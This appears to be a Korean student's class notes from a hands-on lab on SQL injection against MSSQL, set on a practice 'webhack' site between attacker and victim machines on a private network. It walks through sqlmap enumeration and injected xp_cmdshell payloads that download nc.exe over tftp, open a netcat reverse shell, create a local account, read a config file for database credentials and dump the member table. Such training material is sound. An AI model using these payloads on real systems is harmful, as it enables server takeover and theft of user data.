2023/08/04 프로시저
sql 인젝션 자동화 툴로 공유폴더에 다운받아주었음
webhack사이트에서 실행할 것 이다.
paros에서 sites에서 우클릭해서 spider를 실행해준다.
수집을 진행해주면 이 사이트에서 접근하는걸 다 알려준다.
board도 있고 member 등등 있다 이런 페이지로 되어있다고 뜨게된다.
위쪽에 Analyse에서 스캔을 눌러줌 테스트 사이트여서 금방 끝난다.
다시 scan Policy를 눌러주고 sql injection만 체크 해준다.
webhack사이트는 너무 단조롭기 때문에 camel사이트에서 진행해준다.
다시 spider로 수집을 해준다.
아까처럼 scan부분에서 다시 SQL Injection 만 체크 해주고 다시 진행함
아래쪽에 sql injection부분을 보면 아럐쪽에 주소가 있다. 그중에 너무 길지않은 주소로 해주고
공유파일에서 다운받은 경로로 들어가면 파이썬으로 된 파일이 있는데 지금은 파이썬이 다운이 안되어있기 때문에 다운을 받아준다.
다운받은 파이썬을 C드라이브에 놓아줌 그 파이썬 파일의 경로를 복사해서 cmd에서 이동해줌
이동해서 sqlmap.py를 실행해준다. help를 써서 옵션을 어떻게 써야할지 확인해야한다
-u옵션을 줘서 url을 해주었다. 그리고 아까 paros에서 찾은 주소중에 적당한 길이의 url을 가져와서 입력해준다. 뒤에서 뜨는거는 다 n으로 해주었다.
결과는 이런식으로 나온다. parameter는 code1과 error-based, stacked queries로 진행했다는 것
--current-user을 해주면 sa라는 user 정보를 확인할 수 있음 그리고 user자리에 db를 넣어주면
db의 이름도 확인할 수 있음
테이블을 확인 할 수 있고 그 테이블의 컬럼도 확인할 수 있다.
이런식으로 인젝션이 편리하게 되는 도구이다.
미리 기능을 구현하고 사용하는 것 DB에서는 프로시저라고 부른다.
서버 쿼리를 찾아보면 이런게 있는지 확인했다.
cmd에서 실행할 수 있는걸 xp_cmdshell이라고 한다.
실제 cmd에서 실행되는 명령어도 처리를 할 수 있다.
클라이언트는 mssql을 사용하고있다고 확인하고 있고 mssql의 프로시저를 사용 가능 여부를 확인하고 싶다. 그걸 어떻게 확인하면 좋을까 ?
인젝션이 가능한 상황이니까 인젝션을 통한 프로시저의 결과가 보여지면 프로시저가 사용가능한 상황이라고 판단 할 수 있다.
그걸 볼 수 있게하는 방법은 핑을 통해 할 수 있다.
쿼리를 작성해서 핑이 서버에서 클라이언트로 오도록 유도한다.
where id='' and pw=' '
';exec master.dbo.xp_cmdshell 'ping 192.168.1.10'--
이것을 webhack에 아이디 부분에 넣어준다. 여기서 작업하고 자기 자신에게 보내준다.
webhack에서 로그인을 해주게 되면 자신에게 핑이 오는지 확인할 수 없음
그렇기 때문에 와이어샤크를 켜주고 확인해주게 된다.
[ 실습 ] MSSQL Stored Procedure
- 역할분담(Attacker, Victim) 후 진행
1. Stored Procedure의 사용 여부 확인
- Attacker(WinXP)는 Victim(Win2000)에서 Stored Procedure의 사용 여부를 확인한다.
[ 1번 해답 ]
핑테스트로 확인을 해줌
'; exec master.dbo.xp_cmdshell 'ping 192.168.43.224'--
를 하게되면 공격자PC에서 핑 통신이 정상적으로 가능하다.
2. Backdoor(nc.exe) 설치, Reverse Shell 획득
- Stored Procedure를 이용해 Victim에 Backdoor를 설치하고 Reverse Shell을 획득한다.
내가 포트를 열어놓고 대기하고있으면 상대방이 들어올 수 있게하는 걸 Reverse Shell이라고 함
서버 관점에서 보면 가만히 있었는데 인젝션이 가능하게 됨에 따라 백도어가 가능하게 되고
그 백도어가 되면서 포트를 열어놓게 되고 공격자가 들어갈 수 있게 하는것
nc.exe가 업로드되면 포트를 열어서 해당포트의 들어갈수 있게 한다.
[ 2번 해답 ]
공격자가 tftp를 실행해서 nc를 보내게끔 nc경로를 첨부를 해서 걸어두고
공격자의 webhack사이트에서 ';exec master.dbo.xp_cmdshell 'tftp -i 192.168.43.225 GET nc.exe' --를 실행해주면 피해자 컴퓨터에 서버에서
nc를 발견할 수 있음 nc가 있다면
공격자 컴퓨터에서는nc -lvp 1234으로 포트번호를 임의로 열어준다. (1234은 우리가 그냥 지정해서 숫자 쓴 것)
열어준 다음 ';exec master.dbo.xp_cmdshell '"C:\WINNT\system32\nc.exe" 192.168.43.225 1234 -e cmd.exe'-- 를 webhack에서 입력해서 열어둔 포트에 접속을 해준다.
아까 열려고 명령어를 쳤던 cmd창에서 확인해보면 피해자 cmd에 연결이 되어있다.
ipconfig를 해서 IP주소를 보면 공격자 컴퓨터에서 피해자 컴퓨터의 IP가 뜨게된다.
3. Victim에 local 사용자 계정을 생성하고 DBMS의 ID, PW 확인
- 사용자 계정명은 Hacker로 한다.
- Victim의 시스템 파일(dbconn.inc)을 조사하여, DBMS의 ID, PW 확인한다.
[ 해답 ]
loacl 은 net nuser add로 생성해줌 그냥 일반사용자 계정을 말함 dbconn.inc을 열면 ID와 PW로 보이는걸 확인할 수 있음
공격자에선 피해자의 dbconn.inc파일을 찾기위해서 dir의 s옵션을 사용해서 경로를 찾아준다.
dir /s \*.inc를 해주게되면 파일이 어디있는지 확인 가능하다.
cd로 webhack까지 이동해서 type dbconn.inc를 하면 텍스트 파일을 읽을 수 있고
database를 확인할 땐 type dbconn.inc을 사용해서 확인할 수 있다.
여기서 id와 pw를 확인하고 database를 확인함 확인했을 때 ID는 sa이고 PWD는 webhack database도 webhack이다.
4. DB정보 열람 및 탈취
- MSSQL Server에 클라이언트 프로그램(SQL gate)을 이용해 원격 접속하여 DB정보를 열람한다.
(SQL gate는 두개중 하나만 써서 잘 되는걸 쓴다.)
- 만약 잘 한것 같은데도 안된다면 컴퓨터 이름 변경 후 진행하면 연결이 잘 됩니다.
공유파일에서 다운로드 받은 프로그램으로 로그인할 때 확인한 정보를 입력해주면
원격으로 접속할 수 있음 원격으로 접속하고 DB정보에 들어가 ID와 PW를 확인할 수 있음
select * from member을 하면 멤버의 테이블을 다 볼 수 있다.